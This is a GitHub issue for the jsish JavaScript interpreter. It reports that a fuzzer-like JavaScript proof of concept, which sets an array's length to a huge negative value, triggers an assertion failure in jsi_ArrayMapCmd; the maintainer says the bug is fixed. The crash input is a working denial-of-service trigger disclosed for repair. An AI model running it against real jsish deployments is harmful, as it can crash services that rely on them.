Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

integer overflow #10

Closed
bird8693 opened this issue Apr 13, 2020 · 1 comment
Closed

integer overflow #10

bird8693 opened this issue Apr 13, 2020 · 1 comment

Comments

@bird8693
Copy link

Enviroment

operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 

poc:

var o = [
    1,
    2
];
o = o.splice(o.length, o.length, o, o, o.length, 1.7976931348623157e+308);
o = o.toString(o.length);
var a = Object.keys(o);
var YzNz = new RegExp('kf}(Vq)XW8St');
o.length = -o.length;
o.length = 5e-324 >= 9007199254740992;
o.length = o == 1.3;
a.length = -9007199254740990;
o.length = a.length > o;
var FpXa = new RegExp('\fÇ\xAF\x8F\x93A\xAFuQ=ºC\x99e\xACCýæÜ47\x18');
var APSB = -9007199254740990 != a.length;
APSB = a.slice(a.length, a.length);
var ZDnB = a.map(function () {
}, function () {
});

The vulnerability code is in line src / jsiArray.c + 414, the function jsi_ArrayMapCmd, the vulnerability code is as follows:
image
The curlen here is also the size of the array, and can be arbitrarily set in the js code, for example in the poc

image
The affected code is in the analytic function Jsi_ObjSetLength, as shown in the figure:

image
The actual array size len is larger than obj-> arrMaxSize, which triggers the assert.

pcmacdon pushed a commit that referenced this issue Apr 13, 2020
FossilOrigin-Name: 50642d64b8f0a4e62df68e59fcb2ef0923c3dbec8fc8a15d38b1ddbe655c38d6
@pcmacdon
Copy link
Owner

This was a general problem with Array using .length when it shouldn't. Should be fixed.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants